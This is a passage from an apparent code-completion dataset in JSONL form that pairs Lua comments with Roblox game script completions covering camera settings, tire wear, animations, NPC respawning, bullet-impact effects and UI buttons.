end\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\tif textbox then \n\t\ttextbox:ReleaseFocus() \n\tend\nend\n"} +{"prompt": "-- Do not edit these values, they are not the developer-set limits, they are limits\n-- to the values the camera system equations can correctly handle", "completion": "\nlocal MIN_ALLOWED_ELEVATION_DEG = -80\nlocal MAX_ALLOWED_ELEVATION_DEG = 80\n\nlocal externalProperties = {}\nexternalProperties[\"InitialDistance\"] = 25\nexternalProperties[\"MinDistance\"] = 10\nexternalProperties[\"MaxDistance\"] = 100\nexternalProperties[\"InitialElevation\"] = 35\nexternalProperties[\"MinElevation\"] = 35\nexternalProperties[\"MaxElevation\"] = 35\nexternalProperties[\"ReferenceAzimuth\"] = -45\t-- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally\nexternalProperties[\"CWAzimuthTravel\"] = 90\t-- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above\nexternalProperties[\"CCWAzimuthTravel\"] = 90\t-- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above\nexternalProperties[\"UseAzimuthLimits\"] = false -- Full rotation around Y axis available by default\n\nlocal Util = require(script.Parent:WaitForChild(\"CameraUtils\"))\n"} +{"prompt": "--------------------------------------------------------------------------", "completion": "\n\nlocal _WHEELTUNE = {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t--[[\t\n\t\t\tSS6 Presets\n\t[Eco]\t\t\n\t\tWearSpeed = 1,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Road]\t\t\n\t\tWearSpeed = 2,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Sport]\t\t\n\t\tWearSpeed = 3,\n\t\tTargetFriction = .79,\n\t\tMinFriction = .1,\t\t\t\t\t\t\t\t\t\t\t]]\n\n\tTireWearOn \t\t= true\t,\n\t\n\t--Friction and Wear\n\tFWearSpeed\t\t= .8\t,\n\tFTargetFriction\t= 1.02\t,\n\tFMinFriction \t= .1\t,\n\t\n\tRWearSpeed\t\t= .8\t,\n\tRTargetFriction\t= 1.2\t,\n\tRMinFriction\t= .1\t,\n\t\n\t--Tire Slip\n\tTCSOffRatio\t\t= 1/3\t,\n\tWheelLockRatio\t= 1/2\t,\t--SS6 Default = 1/4\n\tWheelspinRatio\t= 1/1.1\t,\t--SS6 Default = 1/1.2\n\t\n\t--Wheel Properties\n\tFFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyFrWeight\t= 10\t,\n\tRLgcyFrWeight\t= 10\t,\n\t\n\tFElasticity\t\t= .5\t\t,\t--SS6 Default = .5\n\tRElasticity\t\t= .5\t\t,\t--SS6 Default = .5\n\tFLgcyElasticity\t= 0\t\t,\n\tRLgcyElasticity\t= 0\t\t,\n\t\n\tFElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyElWeight\t= 10\t,\n\tRLgcyElWeight\t= 10\t,\n\t\n\t--Wear Regen\n\tRegenSpeed\t\t= 3.6\t\t--SS6 Default = 3.6\n}\n"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)", "completion": "\n\t\tlocal repeatAnim = stopAllAnimations()\n\t\tplayAnimation(repeatAnim, 0.0, Humanoid)\n\tend\nend\n"} +{"prompt": "--[=[\n\t@param tag string\n\t@return Component?\n\tReturns a component previously constructed by the tag. Returns\n\t`nil` if no component is found.\n]=]", "completion": "\nfunction Component.FromTag(tag)\n\treturn componentsByTag[tag]\nend\n\n"} +{"prompt": "-- Lobby toggle", "completion": "\nlocal LobbyButton = GameplayUi.LobbyButton\n"} +{"prompt": "-- Connection class", "completion": "\nlocal Connection = {}\nConnection.__index = Connection\n\nfunction Connection.new(signal, fn)\n\treturn setmetatable({\n\t\t_connected = true,\n\t\t_signal = signal,\n\t\t_fn = fn,\n\t\t_next = false,\n\t}, Connection)\nend\n\nfunction Connection:Disconnect()\n\tassert(self._connected, \"Can't disconnect a connection twice.\", 2)\n\tself._connected = false\n\n\t-- Unhook the node, but DON'T clear it. That way any fire calls that are\n\t-- currently sitting on this node will be able to iterate forwards off of\n\t-- it, but any subsequent fire calls will not hit it, and it will be GCed\n\t-- when no more fire calls are sitting on it.\n\tif self._signal._handlerListHead == self then\n\t\tself._signal._handlerListHead = self._next\n\telse\n\t\tlocal prev = self._signal._handlerListHead\n\t\twhile prev and prev._next ~= self do\n\t\t\tprev = prev._next\n\t\tend\n\t\tif prev then\n\t\t\tprev._next = self._next\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]", "completion": "--\nlocal PlayerSpawning=false; --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]]--\nlocal AdvancedRespawnScript=script;\nrepeat Wait(0)until script and script.Parent and script.Parent:IsA(\"Model\");\nlocal AlfredDrevis=AdvancedRespawnScript.Parent;\nif AdvancedRespawnScript and AlfredDrevis and AlfredDrevis:FindFirstChild(\"Thumbnail\")then\nAlfredDrevis:FindFirstChild(\"Thumbnail\"):Destroy();\nend;\nlocal GameDerbis=Game:GetService(\"Debris\");\nlocal AlfredDrevisHumanoid;\nfor _,Child in pairs(AlfredDrevis:GetChildren())do\nif Child and Child:IsA(\"Humanoid\")and Child.Health~=0 then\nAlfredDrevisHumanoid=Child;\nend;\nend;\nlocal Respawndant=AlfredDrevis:Clone();\nif PlayerSpawning then --[[ LOOK AT LINE: 2. ]]--\nSpawn(function()\nif AlfredDrevis and AlfredDrevisHumanoid and AlfredDrevisHumanoid:FindFirstChild(\"Status\")and not AlfredDrevisHumanoid:FindFirstChild(\"Status\"):FindFirstChild(\"AvalibleSpawns\")then\nSpawnModel=Instance.new(\"Model\");\nSpawnModel.Parent=AlfredDrevisHumanoid.Status;\nSpawnModel.Name=\"AvalibleSpawns\";\nelse\nSpawnModel=AlfredDrevisHumanoid:FindFirstChild(\"Status\"):FindFirstChild(\"AvalibleSpawns\");\nend;\nfunction FindSpawn(SearchValue)\nlocal PartsArchivable=SearchValue:GetChildren();\nfor AreaSearch=1,#PartsArchivable do\nif PartsArchivable[AreaSearch]:IsA(\"SpawnLocation\")then\nlocal PositionValue=Instance.new(\"Vector3Value\",SpawnModel);\nPositionValue.Value=PartsArchivable[AreaSearch].Position;\nPositionValue.Name=PartsArchivable[AreaSearch].Duration;\nend;\nFindSpawn(PartsArchivable[AreaSearch]);\nend;\nend;\nFindSpawn(Game:GetService(\"Workspace\"));\nlocal SpawnChilden=SpawnModel:GetChildren();\nif#SpawnChilden>0 then\nlocal SpawnItself=SpawnChilden[math.random(1,#SpawnChilden)];\nlocal RespawningForceField=Instance.new(\"ForceField\");\nRespawningForceField.Parent=AlfredDrevis;\nRespawningForceField.Name=\"SpawnForceField\";\nGameDerbis:AddItem(RespawningForceField,SpawnItself.Name);\nAlfredDrevis:MoveTo(SpawnItself.Value+Vector3.new(0,3.5,0));\nelse\nif AlfredDrevis:FindFirstChild(\"SpawnForceField\")then\nAlfredDrevis:FindFirstChild(\"SpawnForceField\"):Destroy();\nend;\nAlfredDrevis:MoveTo(Vector3.new(0,115,0));\nend;\nend);\nend;\nfunction Respawn()\nWait(5);\nRespawndant.Parent=AlfredDrevis.Parent;\nRespawndant:makeJoints();\nRespawndant:FindFirstChild(\"Head\"):MakeJoints();\nRespawndant:FindFirstChild(\"Torso\"):MakeJoints();\nAlfredDrevis:remove();\nend;\nif AdvancedRespawnScript and AlfredDrevis and AlfredDrevisHumanoid then\nAlfredDrevisHumanoid.Died:connect(Respawn);\nend;"} +{"prompt": "-- The amount the aim will increase or decrease by\n-- decreases this number reduces the speed that recoil takes effect", "completion": "\nlocal AimInaccuracyStepAmount = 0.0133"} +{"prompt": "----------------------------------------------------------------------\n--------------------[ BULLET IMPACT HANDLING ]------------------------\n----------------------------------------------------------------------", "completion": "\n\nlocal createBulletImpact = script:WaitForChild(\"createBulletImpact\")\ncreateBulletImpact.OnServerEvent:connect(function(_, H, P, N, D, humanoidFound, gunIgnore, S)\n\tlocal surfaceCF = CF(P, P + N)\n\t----------------------------------------------------------------------------------\n\t--Creating the bullet hole--------------------------------------------------------\n\t----------------------------------------------------------------------------------\n\tif S.bulletHoles and (not humanoidFound) then\n\t\tlocal Hole = Instance.new(\"Part\")\n\t\tHole.Transparency = 1\n\t\tHole.Anchored = true\n\t\tHole.CanCollide = false\n\t\tHole.FormFactor = \"Custom\"\n\t\tHole.Size = V3(1, 1, 0.2)\n\t\tHole.TopSurface = 0\n\t\tHole.BottomSurface = 0\n\t\tlocal Mesh = Instance.new(\"BlockMesh\")\n\t\tMesh.Offset = V3(0, 0, -0.05)\n\t\tMesh.Scale = V3(S.holeSettings.Size, S.holeSettings.Size, 0)\n\t\tMesh.Parent = Hole\n\t\tlocal Decal = Instance.new(\"Decal\")\n\t\tDecal.Face = Enum.NormalId.Front\n\t\tDecal.Texture = S.holeSettings.Texture\n\t\tDecal.Parent = Hole\n\t\tHole.Parent = gunIgnore\n\t\tHole.CFrame = surfaceCF\n\t\tif (not H.Anchored) then\n\t\t\tlocal Weld = Instance.new(\"Weld\", Hole)\n\t\t\tWeld.Part0 = H\n\t\t\tWeld.Part1 = Hole\n\t\t\tWeld.C0 = H.CFrame:toObjectSpace(surfaceCF)\n\t\t\tHole.Anchored = false\n\t\tend\n\t\tdelay(S.holeSettings.visibleTime, function()\n\t\t\tif S.holeSettings.disappearTime > 0 then\n\t\t\t\tlocal t0 = tick()\n\t\t\t\twhile true do\n\t\t\t\t\tlocal Alpha = math.min((tick() - t0) / S.holeSettings.disappearTime, 1)\n\t\t\t\t\tDecal.Transparency = numLerp(0, 1, Alpha)\n\t\t\t\t\tif Alpha == 1 then break end\n\t\t\t\t\twait()\n\t\t\t\tend\n\t\t\t\tHole:Destroy()\n\t\t\telse\n\t\t\t\tHole:Destroy()\n\t\t\tend\n\t\tend)\n\tend\n\t----------------------------------------------------------------------------------\n\t--Creating the spark effect-------------------------------------------------------\n\t----------------------------------------------------------------------------------\n\tif S.bulletSparks and (not humanoidFound) and inList(H.Material, S.sparkSettings.Materials) then\n\t\tlocal Sparks = Instance.new(\"Part\")\n\t\tSparks.Transparency = 1\n\t\tSparks.Anchored = true\n\t\tSparks.CanCollide = false\n\t\tSparks.FormFactor = \"Custom\"\n\t\tSparks.Size = V3(1, 1, 1)\n\t\tSparks.TopSurface = 0\n\t\tSparks.BottomSurface = 0\n\t\t\n\t\tlocal Particles = nil\n\t\tif S.customSparks then\n\t\t\tParticles = getObject(game.ServerStorage, \"ParticleEmitter\", \"bulletSpark\"):Clone()\n\t\telse\n\t\t\tParticles = Instance.new(\"ParticleEmitter\")\n\t\t\tParticles.Color = ColorSequence.new(S.sparkSettings.Color.Start, S.sparkSettings.Color.End)\n\t\t\tParticles.LightEmission = 1\n\t\t\tParticles.Size = NumberSequence.new(\n\t\t\t\t{\n\t\t\t\t\tNumberSequenceKeypoint.new(0, S.sparkSettings.Size, 0.25);\n\t\t\t\t\tNumberSequenceKeypoint.new(1, 0);\n\t\t\t\t}\n\t\t\t)\n\t\t\tParticles.Texture = S.sparkSettings.Texture\n\t\t\tParticles.Transparency = NumberSequence.new(0)\n\t\t\tParticles.Acceleration = V3(0, -196.2, 0)\n\t\t\tParticles.EmissionDirection = Enum.NormalId.Front\n\t\t\tParticles.Lifetime = NumberRange.new(S.sparkSettings.Lifetime - 0.05, S.sparkSettings.Lifetime + 0.05)\n\t\t\tParticles.Rate = S.sparkSettings.Rate\n\t\t\tParticles.Rotation = NumberRange.new(0, 360)\n\t\t\tParticles.Speed = NumberRange.new(S.sparkSettings.Speed - 5, S.sparkSettings.Speed + 5)\n\t\t\tParticles.VelocitySpread = S.sparkSettings.Spread\n\t\tend\n\t\tParticles.Parent = Sparks\n\t\t\n\t\tSparks.Parent = gunIgnore\n\t\tSparks.CFrame = surfaceCF\n\t\tif (not H.Anchored) then\n\t\t\tlocal Weld = Instance.new(\"Weld\", Sparks)\n\t\t\tWeld.Part0 = H\n\t\t\tWeld.Part1 = Sparks\n\t\t\tWeld.C0 = H.CFrame:toObjectSpace(surfaceCF)\n\t\t\tSparks.Anchored = false\n\t\tend\n\t\tdelay(0.1, function()\n\t\t\tParticles.Enabled = false\n\t\t\twait(Particles.Lifetime.Max)\n\t\t\tSparks:Destroy()\n\t\tend)\n\tend\n\t----------------------------------------------------------------------------------\n\t--Creating the smoke effect-------------------------------------------------------\n\t----------------------------------------------------------------------------------\n\tif S.bulletSmoke and (not humanoidFound) then\n\t\tlocal Smoke = Instance.new(\"Part\")\n\t\tSmoke.Transparency = 1\n\t\tSmoke.Anchored = true\n\t\tSmoke.CanCollide = false\n\t\tSmoke.FormFactor = \"Custom\"\n\t\tSmoke.Size = V3(1, 1, 1)\n\t\tSmoke.TopSurface = 0\n\t\tSmoke.BottomSurface = 0\n\t\t\n\t\tlocal Particles = Instance.new(\"ParticleEmitter\")\n\t\tParticles.Color = ColorSequence.new(S.smokeSettings.objColor and H.Color or S.smokeSettings.Color)\n\t\tParticles.LightEmission = 0\n\t\tParticles.Size = NumberSequence.new(\n\t\t\t{\n\t\t\t\tNumberSequenceKeypoint.new(0, S.smokeSettings.Size.Start);\n\t\t\t\tNumberSequenceKeypoint.new(1, S.smokeSettings.Size.End);\n\t\t\t}\n\t\t)\n\t\tParticles.Texture = S.smokeSettings.Texture\n\t\tParticles.Transparency = NumberSequence.new(\n\t\t\t{\n\t\t\t\tNumberSequenceKeypoint.new(0, S.smokeSettings.startTransparency);\n\t\t\t\tNumberSequenceKeypoint.new(0.5, 0.75 * S.smokeSettings.startTransparency + 0.25);\n\t\t\t\tNumberSequenceKeypoint.new(1, 1);\n\t\t\t}\n\t\t)\n\t\tParticles.Acceleration = V3(0, -196.2, 0)\n\t\tParticles.EmissionDirection = Enum.NormalId.Front\n\t\tParticles.Lifetime = NumberRange.new(S.smokeSettings.Lifetime - 0.05, S.smokeSettings.Lifetime + 0.05)\n\t\tParticles.Rate = S.smokeSettings.Rate\n\t\tParticles.Rotation = NumberRange.new(0, 360)\n\t\tParticles.RotSpeed = NumberRange.new(10)\n\t\tParticles.Speed = NumberRange.new(S.smokeSettings.Speed - 5, S.smokeSettings.Speed + 5)\n\t\tParticles.VelocitySpread = S.smokeSettings.Spread\n\t\tParticles.Parent = Smoke\n\t\t\n\t\tSmoke.Parent = gunIgnore\n\t\tSmoke.CFrame = surfaceCF\n\t\tif (not H.Anchored) then\n\t\t\tlocal Weld = Instance.new(\"Weld\", Smoke)\n\t\t\tWeld.Part0 = H\n\t\t\tWeld.Part1 = Smoke\n\t\t\tWeld.C0 = H.CFrame:toObjectSpace(surfaceCF)\n\t\t\tSmoke.Anchored = false\n\t\tend\n\t\tdelay(0.1, function()\n\t\t\tParticles.Enabled = false\n\t\t\twait(S.smokeSettings.Lifetime + 0.05)\n\t\t\tSmoke:Destroy()\n\t\tend)\n\tend\nend)\n"} +{"prompt": "-- Disable the health UI", "completion": "\nStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false)\n"} +{"prompt": "--[[\nClasses.RadialMenu\n\nThis class creates a radial menu. It is by far the most \"raw\" module in this library as so much of how you interact with it is developer defined.\n\nConstructors:\n\tnew(subN [integer], tPercent [float], rotation [float])\n\t\t> Creates a radial menu divided into subN sections where the ring is tPercent width of the frame radius\n\t\t> and the ring is rotationally offset by rotation radians\n\nProperties:\n\tFrame [instance]\n\t\t> The container frame for the radial menu. Can be used for positioning and resizing.\n\t\t> Note that this frame should always be square, by default it's set to YY size constraining\n\tRotation [float]\n \t\t> The rotation offset that the developer entered as an argument when creating the radial menu.\n\tSubN [integer]\n\t\t> The number of subsections that the developer entered as an argument when creating the radial menu.\n\tEnabled [boolean]\n\t\t> Whether or not the radial menu is actively tracking input.\n\t\t> Defaults to true\n\tDeadZoneIn [float]\n\t\t> Number represents a percentage from the radius that will be ignored in regards to input\n\t\t> By default this is 0.5 meaning the center 50% of the radial frame ignores input\n\tDeadZoneOut [float]\n\t\t> Number represents a percentage from the radius that once passed will be ignored in regards to input.\n\t\t> By default this is math.huge meaning that as long as your outside of DeadZoneIn your input will not be ignored.\n\nMethods:\n\t:SetRadialProps(props [dictionary]) [void]\n\t\t> Sets the properties of all the radial background UI\n\t:SetDialProps(props [dictionary]) [void]\n\t\t> Sets the properties of the radial dial UI\n\t:GetTheta(userInputType [Enum.UserInputType]) [float]\n\t\t> Depending on if MouseMovement, Touch, or a Gamepad returns the directional angle that the user is inputting on their device\n\t\t> If input is not in deadzone range then this method returns nil\n\t\t> Returns the angle in radians\n\t:PickIndex(theta) [integer]\n\t\t> Given a directional angle returns the closest element on the radial wheel as an index.\n\t:GetRadial(index) [instance]\n\t\t> Returns the radial background UI for that index.\n\t:GetAttachment(index) [instance]\n\t\t> Returns the radial attachment UI for that index.\n\t\t> This frame is useful for putting text or images in.\n\t:IsVisible() [boolean]\n\t\t> Returns whether or not the radial menu is visible to the user or not.\n\t:Destroy() [void]\n\t\t> Destroys the RadioButtonGroup and all the events, etc that were running it.\n\nEvents:\n\t.Clicked:Connect(function(index [integer])\n\t\t> Fired when the user selects an element on the radial menu.\n\t.Hover:Connect(function(oldIndex [integer], newIndex [integer])\n\t\t> Fired when the user hovers in the direction of a new element on the radial menu\n--]]", "completion": "\n\n"} +{"prompt": "--[[\n\tConnect to the datastore, set up connections and create resources used by\n\tthe server\n\n\tParameters:\n\tconfigValues: A table containing configuration values\n]]", "completion": "\nlocal function setup(configValues)\n\tlocal tokenDataStore = DataStoreService:GetDataStore(configValues.datastoreName)\n\tlocal tokenManager = TokenManager.new(tokenDataStore)\n\tlocal tokens = CollectionService:GetTagged(configValues.tokenTag)\n\n\ttokenManager:setTokens(tokens)\n\n\tdisconnectOldConnections()\n\n\tconnections[1] = CollectionService\n\t\t:GetInstanceAddedSignal(configValues.tokenTag)\n\t\t:Connect(onTokenAdded(remoteEvents, tokenManager))\n\tconnections[2] = CollectionService\n\t\t:GetInstanceRemovedSignal(configValues.tokenTag)\n\t\t:Connect(onTokenRemoved(remoteEvents, tokenManager))\n\tconnections[3] = Players.PlayerAdded:Connect(onPlayerAdded(remoteEvents, tokenDataStore, tokenManager))\n\tconnections[4] = Players.PlayerRemoving:Connect(onPlayerRemoved(tokenDataStore, tokenManager))\n\tconnections[5] = events.disable.Event:Connect(onHuntDisabled(tokenManager))\n\tconnections[6] = events.enable.Event:Connect(onHuntEnabled(tokenManager))\nend\n\nconfig.changed:Connect(setup)\n\nsetup(config.getValues())\n"} +{"prompt": "-- HELPER FUNCTIONS\n-- Functions that assist the main function", "completion": "\n"} +{"prompt": "--[[Weight Scaling]]\n--[Cubic stud : pounds ratio]\n--[STANDARDIZED: Don't touch unless needed]", "completion": "\nTune.WeightScaling = 1/50\t--Default = 1/50 (1 cubic stud = 50 lbs)\nTune.LegacyScaling = 1/10\t--Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]\n\nreturn Tune\n"} +{"prompt": "-- initialization/finalization stuff", "completion": "\n\nfunction makeGyro(humanoid)\n\tGyro = Instance.new(\"BodyGyro\")\n\tGyro.Name = \"SkateboardGyro\"\n\tGyro.maxTorque = Vector3.new(0,0,0) -- start off\n\tGyro.P = 65\n\tGyro.D = 65\n\tGyro.Parent = humanoid.Parent.Torso\nend\n\nfunction onButtonChanged(button)\n\tif button == Enum.Button.Dismount then\n\t\tBoard.ControllingHumanoid.Jump = Controller:getButton(Enum.Button.Dismount)\n\tend\n\tif button == Enum.Button.Jump then\n\t\tif Controller:getButton(Enum.Button.Jump) and jumpok then\n\t\t\tjumpok = false\n\t\t\tKickAnim:Stop()\n\t\t\tLeftAnim:Stop(.5)\n\n\t\t\tRightAnim:Stop(.5)\n\t\t\tOllieAnim:Play(0,1,4)\n\t\t\tBoard.StickyWheels = false\n\t\t\tBoard:ApplySpecificImpulse(Vector3.new(0,50,0))\n\t\t\tOllieHack.force = Vector3.new(0,1400,0)\n\t\t\tdidAction(\"jump\")\n\t\t\tdelay(.1, function() if (OllieHack ~= nil) then OllieHack.force = Vector3.new(0,0,0) end end)\n\t\telse\n\t\t\tBoard.StickyWheels = true\n\t\tend\n\tend\nend\n\nfunction onEquip(humanoid, controller)\n\tprint(\"Board equipped\")\n\tprint(controller)\n\tif not Controller then -- debounce\n\t\tController = controller\n\t\t\n\t\tmakeGyro(humanoid)\n\t\tcontroller.AxisChanged:connect(onAxisChanged)\n\t\tBoard.MoveStateChanged:connect(onMoveStateChanged)\n\t\tCoastingAnim = humanoid:loadAnimation(Board.coastingpose)\t\n\t\tLeftAnim = humanoid:loadAnimation(Board.leftturn)\n\t\tRightAnim = humanoid:loadAnimation(Board.rightturn)\n\t\tOllieAnim = humanoid:loadAnimation(Board.ollie)\n\t\t--OllieAnim:AdjustSpeed(2)\n\t\tKickAnim = humanoid:loadAnimation(Board.boardkick)\n\t\tCoastingAnim:Play()\n\n\t\tController:bindButton(Enum.Button.Jump, \"Ollie\")\n\t\tController:bindButton(Enum.Button.Dismount, \"Dismount\")\n\t\tController.ButtonChanged:connect(onButtonChanged)\n\tend\nend\n\nfunction onUnequip(board)\n\tprint(\"Board unequipped\")\n\tController = nil\n\tGyro.Parent = nil\n\tGyro= nil\n\tCoastingAnim:Stop()\n\tKickAnim:Stop()\n\tCoastingAnim = nil\n\tKickAnim = nil\n\tLeftAnim:Stop()\n\tLeftAnim = nil\n\tRightAnim:Stop()\n\tRightAnim = nil\n\tOllieAnim:Stop()\n\tOllieAnim = nil\n\n\tif (OllieThrust ~= nil) then\n\t\tOllieThrust:Remove()\n\t\tOllieThrust = nil\n\tend\n\n\tBoard.CruiseLoop:Stop()\nend\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\t\n\tif FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then\n\t\toldAnim = \"idle\"\n\t\tcurrentlyPlayingEmote = false\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one\n\tdoForAllRunTracks(function(trackRec, name)\n\t\tif trackRec.handler ~= nil then\n\t\t\ttrackRec.handler:disconnect()\n\t\tend\t\t\t\t\t\n\tend)\n\n\tdoForAllRunTracks(function(trackRec, name)\n\t\tif (trackRec.track ~= nil) then\n\t\t\ttrackRec.track:Stop()\n\t\t\ttrackRec.track:Destroy()\n\t\t\ttrackRec.track = nil\n\t\tend\t\t\n\tend)\n\t\n\treturn oldAnim\nend\n\nfunction getHeightScale()\n\tif Humanoid then\n\t\tif not Humanoid.AutomaticScalingEnabled then\n\t\t\treturn 1\n\t\tend\n\t\t\n\t\tlocal scale = Humanoid.HipHeight / HumanoidHipHeight\n\t\tif userAnimationSpeedDampening then\n\t\t\tif AnimationSpeedDampeningObject == nil then\n\t\t\t\tAnimationSpeedDampeningObject = script:FindFirstChild(\"ScaleDampeningPercent\")\n\t\t\tend\n\t\t\tif AnimationSpeedDampeningObject ~= nil then\n\t\t\t\tscale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight\n\t\t\tend\n\t\tend\n\t\treturn scale\n\tend\t\n\treturn 1\nend\n"} +{"prompt": "-- Services", "completion": "\nlocal Players = game:GetService(\"Players\")\n"} +{"prompt": "-- http://qaru.site/questions/11544765/roblox-rotating-a-model", "completion": "\n\nlocal par=original.Parent -- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0443 \noriginal.Parent=game.ReplicatedStorage -- \u043f\u0440\u044f\u0447\u0435\u043c \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\nwait(3)\n\nlocal dist = 45 -- \u0440\u0430\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043e\u0442 \u0446\u0435\u043d\u0442\u0440\u0430\nlocal angle = 30 -- \u0443\u0433\u043e\u043b \u0440\u0430\u0437\u0431\u0440\u043e\u0441\u0430 (\u0447\u0442\u043e\u0431\u044b 360 \u043d\u0430\u0446\u0435\u043b\u043e \u0434\u0435\u043b\u0438\u043b\u043e\u0441\u044c!!!)"} +{"prompt": "--CONFIG", "completion": "\nlocal pathWd = 40\n\nlocal wallHt = 40\nlocal wallThick = 1\n\nlocal floorHt = 1\n\nlocal cols = 15\nlocal rows = 15\n"} +{"prompt": "-- constants", "completion": "\n\nlocal CHARACTER\t= script.Parent\nlocal ITEMS\t\t= CHARACTER.Items\n"} +{"prompt": "--[ Functions ]--", "completion": "\nfunction CreateWeld(Part, CF)\n\tlocal w = Instance.new(\"Weld\")\n\tw.Name = \"LegWeld\"\n\tw.Parent = Torso\n\tw.Part0 = Torso\n\tw.Part1 = Part\n\tw.C1 = CF\nend\n\nfunction StandUp()\n\t-- Right Leg\n\tRH.Part1 = RL\n\n\t-- Left Leg\n\tLH.Part1 = LL\n\n\t-- Delete Welds\n\tfor i, s in pairs(Torso:GetChildren()) do\n\t\tif (s.Name == \"LegWeld\") and (s.ClassName == \"Weld\") then\n\t\t\ts:Destroy()\n\t\tend\n\tend\n\n\t-- Raise Character\n\tRJ.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0)\n\tRJ.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0)\nend\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"BlueWinterCap\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(0,-0.25,0) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0, 0.4, -0.1)\n\t\th.AttachmentRight = Vector3.new(1, 0, 0)\n\t\th.AttachmentUp = Vector3.new(0, 0.995, -0.0995)\n\t\th.AttachmentForward = Vector3.new(-0, -0.0995, -0.995)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "--[[\n\n\n\n]]", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal AvatarEditor = ReplicatedStorage.AvatarEditor\nlocal Spring = require(AvatarEditor.Shared.Util.Spring)\nlocal Maid = require(AvatarEditor.Shared.Util.Maid)\nlocal Settings = require(AvatarEditor.Shared.Settings)\nlocal Theme = require(AvatarEditor.Client.Theme)\n\nlocal Class = {}\nClass.__index = Class\n\n\nfunction Class.new(guiButton, callback)\n\tlocal self = setmetatable({}, Class)\n\t\n\tself.Button = guiButton\n\t\n\tself.ColorSpring = Spring.new(0)\n\tself.ColorSpring.Damper = 1\n\tself.ColorSpring.Speed = 20\n\t\n\tself.Maid = Maid.new()\n\t\n\tself.Maid:GiveTask(guiButton.InputBegan:Connect(function(inputObject)\n\t\tif not Settings.HOVER_INPUTS[inputObject.UserInputType] then\n\t\t\treturn\n\t\tend\n\t\tguiButton.MaxVisibleGraphemes = -1\n\t\tguiButton.Icon.Visible = false\n\tend))\n\t\n\tself.Maid:GiveTask(guiButton.InputEnded:Connect(function(inputObject)\n\t\tif not Settings.HOVER_INPUTS[inputObject.UserInputType] then\n\t\t\treturn\n\t\tend\n\t\tguiButton.MaxVisibleGraphemes = 0\n\t\tguiButton.Icon.Visible = true\n\tend))\n\t\n\tself.Maid:GiveTask(guiButton.Activated:Connect(callback))\n\t\n\treturn self\nend\n\n\nfunction Class:OnRenderStep(delta)\n\tlocal colorSpring = self.ColorSpring\n\tlocal button = self.Button\n\t\n\tcolorSpring:TimeSkip(delta)\n\t\n\tlocal pos = colorSpring.Position\n\tlocal color = Theme:GetColor(\"Deselected\"):lerp(Theme:GetColor(\"Selected\"), pos)\n\tbutton.Icon.ImageColor3 = color\n\tbutton.TextColor3 = color\nend\n\n\nfunction Class:Destroy()\n\tself.Maid:DoCleaning()\n\tself.Maid = nil\n\t\n\tself.Button = nil\n\tself.ColorSpring = nil\n\t\n\tsetmetatable(self, nil)\nend\n\n\nreturn Class\n"} +{"prompt": "--[[Engine]]", "completion": "\n\n\tlocal fFD = _Tune.FinalDrive*_Tune.FDMult\n\tlocal fFDr = fFD*30/math.pi\n\tlocal cGrav = workspace.Gravity*_Tune.InclineComp/32.2\n\tlocal wDRatio = wDia*math.pi/60\n\tlocal cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)\n\tlocal cfYRot = CFrame.Angles(0,math.pi,0)\n\tlocal rtTwo = (2^.5)/2\n\n\t--Horsepower Curve\n\tlocal 